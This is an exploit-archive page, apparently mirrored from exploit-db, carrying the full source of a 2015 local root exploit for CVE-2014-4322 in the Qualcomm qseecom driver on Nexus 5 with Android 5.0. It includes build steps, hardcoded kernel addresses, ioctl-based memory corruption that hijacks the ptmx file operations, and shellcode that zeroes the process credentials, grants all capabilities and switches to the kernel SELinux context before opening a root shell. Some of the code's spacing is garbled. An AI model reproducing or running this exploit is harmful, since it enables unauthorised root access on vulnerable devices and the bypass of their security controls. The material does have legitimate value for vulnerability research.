Nexus 5 Android 5.0 – Local Privilege Escalation

  • 作者: retme
    日期: 2015-01-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35711/
  • /*
     *CVE-2014-4322 exploitfor Nexus Android 5.0
     *
     *author:retme retme7@gmail.com
     *website: retme.net
     *
     *				 The exploit must be excuted as system privilege and specificSELinuxcontext.
     *				 If exploit successed,you will gain root privilege and "kernel" SELinuxcontext
     *
     *bug info:
     *	https://www.codeaurora.org/projects/security-advisories/memory-corruption-qseecom-driver-cve-2014-4322
     *
     *				 how to build:
     *
    			 				create anAndroid.mk as follow:
    
    									include $(CLEAR_VARS)
    									include $(CLEAR_VARS)
    									LOCAL_SRC_FILES:= ./msm.c \
    																				 ./shellcode.S
    
    									LOCAL_MODULE:= exploit
    									#LOCAL_C_INCLUDES += $(common_includes)
    									LOCAL_CPPFLAGS += -DDEBUG
    									LOCAL_CFLAGS += -DDEBUG
    									LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog
    
    									include $(BUILD_EXECUTABLE)
    									include $(BUILD_EXECUTABLE)
    
    								create Application.mk as follow:
    
    									APP_ABI := armeabi
    									APP_PLATFORM := android-8
    									APP_PIE:= true
    
    								usendk-build to build the project
    
    				usage:
    
    							 runexploit assystem privilege,with SELinux contextsuch as "keystore","vold","drmserver","mediaserver","surfaceflinger"
     *
     *							 If exploit successed,you will gain root privilege and "kernel" SELinuxcontext
     *
     *
     * */
    //=========================================msm.c=============================================
    #include <string.h>
    #include <jni.h>
    #include <android/log.h>
    #include <pthread.h>
    #include <sys/prctl.h>
    #include <sys/ioctl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <asm/ptrace.h>
    #include <asm/user.h>
    #include <asm/ptrace.h>
    #include <sys/wait.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <dlfcn.h>
    #include <dirent.h>
    #include <unistd.h>
    #include <linux/elf.h>
    #include <linux/reboot.h>
    #include <errno.h>
    #include <dlfcn.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <errno.h>
    #include <dirent.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/mount.h>
    #include <linux/ptrace.h>
    #include <linux/prctl.h>
    #include <sys/system_properties.h>
    #include <errno.h>
    #include <termios.h>
    #include <sys/syscall.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <errno.h>
    #include <linux/ion.h>
    
    #include "../kernel.h"
    #include "qseecom.h"
    
    //4.4.2 CFW(for debug)
    //#define PTMX_FOPS 0xc1334e00
    //fnPrintk printk = 0xc0a0113c;
    
    //Nexus Android 5.0OFW
    #define PTMX_DEVICE "/dev/ptmx"
    #define PTMX_FOPS 0xc1236cd8
    fnPrintk printk = 0xc0a21e78;
    
    int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux);
    
    intkmemcmp(char *a1, char *a2, int len)
    {
    int v3; // r3@2
    int v4; // r4@3
    int v5; // r5@3
    int result; // r0@4
    
    if ( len )
    {
    v3 = 0;
    while ( 1 )
    {
    v4 = a1[v3];
    v5 = a2[v3];
    if ( v4 != v5 )
    break;
    if ( a1[v3] )
    {
    ++v3;
    if ( len != v3 )
    continue;
    }
    goto LABEL_7;
    }
    result = v4 - v5;
    }
    else
    {
    LABEL_7:
    result = 0;
    }
    return result;
    }
    
    int g_pid = 0;
    int g_tgid = 0;
    
    
    
    int open_ion(){
    	int fd = open("/dev/ion",O_RDONLY);
    if (fd<0){
    	perror("open");
    }
    printf("ion fd%d\n",fd);
    return fd;
    }
    
    
    // http://lwn.net/Articles/480055/
    
    /*
     * struct ion_allocation_data {
    	size_t len;
    	size_t align;
    	unsigned int heap_mask;
    	unsigned int flags;
    	struct ion_handle *handle;
    };
     *
     *
     * */
    #define ION_FLAG_SECURE (1<<31)
    
    int alloc_ion_memory(int client_fd,int size,struct ion_handle** pphandle){
    	int ret = -1;
    
    	struct ion_allocation_data data;
    
    // ION_FLAG_CACHED
    	data.len = size;
    	data.align = size;
    	data.flags = ION_HEAP_TYPE_CARVEOUT ;
    	//data.heap_mask = ION_HEAP_TYPE_CARVEOUT;
    	//data.handle = handle;
    
    	ret = ioctl(client_fd, ION_IOC_ALLOC, &data);
    	if (ret<0){
    		perror("ION_IOC_ALLOC");
    	}
    	*pphandle = data.handle;
    	return ret;
    
    }
    /*
    struct ion_fd_data {
    struct ion_handle *handle;
    int fd;
     }
     */
    int share_ion_memory(int client_fd,struct ion_handle* handle){
    	struct ion_fd_data data;
    	data.handle = handle;
    	data.fd = -1;
    
    	int ret = ioctl(client_fd, ION_IOC_SHARE, &data);
    
    
    	return data.fd;
    
    }
    
    
    
    
    int obtain_dma_buf_fd(int size){
    		int fd_device = open_ion();
    		int dmf_fd = -1;
    
    		struct ion_handle* handle;
    		int ret = alloc_ion_memory(fd_device,size,&handle);
    		if (ret<0){
    			perror("alloc_ion_memory");
    		}
    
    		dmf_fd = share_ion_memory(fd_device,handle);
    
    		if (dmf_fd<0){
    			perror("share_ion_memory");
    		}
    		return dmf_fd;
    }
    
    
    void* fd_to_mmap(int fd,int size){
    
    
    void* seg_addr = mmap(0,
    					size	,
    					PROT_READ | PROT_WRITE,
    					MAP_SHARED,
    fd,
    0);
    
    if(seg_addr == MAP_FAILED){
    	perror("fd_to_map");
    }
    
    	return seg_addr;
    }
    
    
    
    //c0a0113c T printk
    void sayhello(){
    	fnPrintk printk = 0xc0a0113c;
    	printk("hell0 shellocde");
    	return;
    }
    
    void shell_code2();
    
    static int
    run_obtain_root_privilege()
    {
    int fd;
    int ret;
    
    fd = open(PTMX_DEVICE, O_WRONLY);
    if(fd<=0){perror("ptmx");return -1;}
    ret = fsync(fd);
    close(fd);
    
    return ret;
    }
    
    
    int main(int argc, char *argv[]){
    
    printf("mypid %d\n",getpid());
    int ret= -1;
    
    intfd = open("/dev/qseecom", 0);
    if (fd<0){
    	perror("open");
    	exit(-1);
    }
    
    void* abuseBuff = malloc(400);
    memset(abuseBuff,0,400);
    
    int* intArr = (int*)abuseBuff;
    int j = 0;
    
    for(j=0;j<24;j++){
    
    intArr[j] = 0x1;
    
    }
    
    
    struct qseecom_send_modfd_cmd_req ioctlBuff;
    
    prctl(PR_SET_NAME, "GodFather", 0, 0, 0);
    
     // if(0==fork()){
    
    g_pid = getpid();
    g_tgid = g_pid;
    prctl(PR_SET_NAME, "ihoo.darkytools", 0, 0, 0);
    
    //QSEECOM_IOCTL_SET_MEM_PARAM_REQ
    struct qseecom_set_sb_mem_param_req req;
    req.ifd_data_fd = obtain_dma_buf_fd(8192);
    
    req.virt_sb_base = abuseBuff;
    req.sb_len = 8192;
    
    ret = ioctl(fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &req);
    printf("QSEECOM_IOCTL_SET_MEM_PARAM_REQ return 0x%x \n",ret);
    
    ioctlBuff.cmd_req_buf = abuseBuff;
    ioctlBuff.cmd_req_len = 400;
    ioctlBuff.resp_buf = abuseBuff;
    ioctlBuff.resp_len = 400;
    int i = 0;
    for (i = 0;i<4;i++){
    	ioctlBuff.ifd_data[i].fd = 0;
    	ioctlBuff.ifd_data[i].cmd_buf_offset =0;
    }
    ioctlBuff.ifd_data[0].fd = req.ifd_data_fd;
    ioctlBuff.ifd_data[0].cmd_buf_offset = 0;//(int)(0xc03f0ab4 + 8) - (int)abuseBuff;
    
    
    printf("QSEECOM_IOCTL_SEND_CMD_REQ");
    ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff);
    
    
    printf("return %p %p\n",intArr[0],intArr[1]);
    perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n");
    printf("ioctl return 0x%x \n",ret);
    
    //*(int*)intArr[0] = 0x0;
    void* addr = mmap(intArr[0],4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,-1,0);
    printf("mmap return %p \n",addr);
    
    *(int*)addr =0xE3500000;
    *((int*)((int)addr+4)) = 0xe1a0f00e;
    memcpy(addr,shell_code2,400);
    
    int* arr = (int*)addr;
    for(i=0;i<10;i++){
    	if(arr[i] == 0xeeeeeeee)
    		arr[i] = (int)MyCommitCred;
    	printf("%p\n",arr[i]);
    
    }
    
    //c1334e00 b ptmx_fops
    ioctlBuff.ifd_data[0].cmd_buf_offset = (int)(PTMX_FOPS + 14*4) - (int)abuseBuff;
    
    
    printf("QSEECOM_IOCTL_SEND_CMD_REQ");
    ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff);
    printf("return %p %p\n",intArr[0],intArr[1]);
    perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n");
    printf("ioctl return 0x%x \n",ret);
    
    
    run_obtain_root_privilege();
    
    
    char * argv1[]={"sh",(char *)0};
     int result =execv("/system/bin/sh", argv1);
    if(result){
    perror("execv");
    }
    
    return 0;
    
    
    }
    
    
    
    
    
    int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux)
    {
    
    int v38; // [sp+0h] [bp-60h]@1
    int addrBase;
    char szName[16] = "ihoo.darkytools";
    int offset;
    mycred *my_cred;
    mycred *my_real_cred;
    struct task_security_struct * tsec;
    int ret = -1;
    
    int searchLenth;
    
    isSelinux = 1;
    //return 0;
    addrBase = *(int*)(((int)(&v38) & 0xFFFFE000) + 0xC);
    //return addrBase;
    if ( addrBase > 0xBFFFFFFF )
    {
    
    offset = 0;
    while ( 1 )
    {
    addrBase += 4;
    if ( !kmemcmp(addrBase, szName, 16) )
    break;
    ++offset;
    if ( offset == 0x600 )
    {
    return 18;
    }
    }
    }
    else
    return 17;
    
    my_cred = *(int*)(addrBase -8);
    my_real_cred = *(int*)(addrBase -8 - 4);
    
    
    searchLenth = 0;
    while(searchLenth<0x20){
    
    
    if(!my_cred || !my_real_cred
    || my_cred<0xBFFFFFFF || my_real_cred<0xBFFFFFFF
     ){
    //2.6?
    
    addrBase-=4;
    
    
    my_cred = *(int*)(addrBase-8 );
    my_real_cred = *(int*)(addrBase -8-4);
    
    }
    else
    break;
    
    searchLenth++;
    }
    
    if(searchLenth == 0x20)
    return 0X20;
    // fuck!! where is my cred???
    
    
    my_cred->uid = 0;
    my_cred->gid = 0;
    my_cred->suid = 0;
    my_cred->sgid = 0;
    my_cred->egid = 0;
    my_cred->euid = 0;
    my_cred->fsgid = 0;
    my_cred->fsuid = 0;
    my_cred->securebits=0;
    my_cred->cap_bset.cap[0] = -1;
    my_cred->cap_bset.cap[1] = -1;
    my_cred->cap_inheritable.cap[0] = -1;
    my_cred->cap_inheritable.cap[1] = -1;
    my_cred->cap_permitted.cap[0] = -1;
    my_cred->cap_permitted.cap[1] = -1;
    my_cred->cap_effective.cap[0] = -1;
    my_cred->cap_effective.cap[1] = -1;
    
    my_real_cred->uid = 0;
    my_real_cred->gid = 0;
    my_real_cred->suid = 0;
    my_real_cred->sgid = 0;
    my_real_cred->egid = 0;
    my_real_cred->euid = 0;
    my_real_cred->fsgid = 0;
    my_real_cred->fsuid = 0;
    my_real_cred->securebits=0;
    my_real_cred->cap_bset.cap[0] = -1;
    my_real_cred->cap_bset.cap[1] = -1;
    my_real_cred->cap_inheritable.cap[0] = -1;
    my_real_cred->cap_inheritable.cap[1] = -1;
    my_real_cred->cap_permitted.cap[0] = -1;
    my_real_cred->cap_permitted.cap[1] = -1;
    my_real_cred->cap_effective.cap[0] = -1;
    my_real_cred->cap_effective.cap[1] = -1;
    
    
    if(isSelinux){
    
    tsec = my_cred->security;
    
    if(tsec && tsec > 0xBFFFFFFF){
    tsec->sid = 1;
    tsec->exec_sid = 1;
    
    ret = 15;
    }
    else {
    tsec = (struct task_security_struct*)(*(int*)(0x10 +(int)&my_cred->security));
    
    if(tsec && tsec > 0xBFFFFFFF){
    tsec->sid = 1;
    tsec->exec_sid = 1;
    
    ret = 15;
    }
    }
    
    
    tsec = my_real_cred->security;
    
    if(tsec && tsec > 0xBFFFFFFF){
    tsec->sid = 1;
    tsec->exec_sid = 1;
    
    ret = 15;
    }else {
    tsec = (struct task_security_struct*)(*(int*)(0x10 +(int)&my_real_cred->security));
    
    if(tsec && tsec > 0xBFFFFFFF){
    tsec->sid = 1;
    tsec->exec_sid = 1;
    
    ret = 15;
    }
    }
    
    
    
    }
    else{
    ret = 16;
    }
    printk("return %d",ret);
    return ret;
    }
    //=========================================msm.c end=============================================
    //=========================================shellcode.S start=============================================
    #define __ASSEMBLY__
    #include<linux/linkage.h>
    
    .extern sayhello
    
    
    ENTRY(shell_code2)
    ldr r0, [pc , #4]
    STMFDSP!, {R0}
    LDMFD SP!, {PC}
     .byte 0xee, 0xee, 0xee, 0xee
    //=========================================shellcode.S end=============================================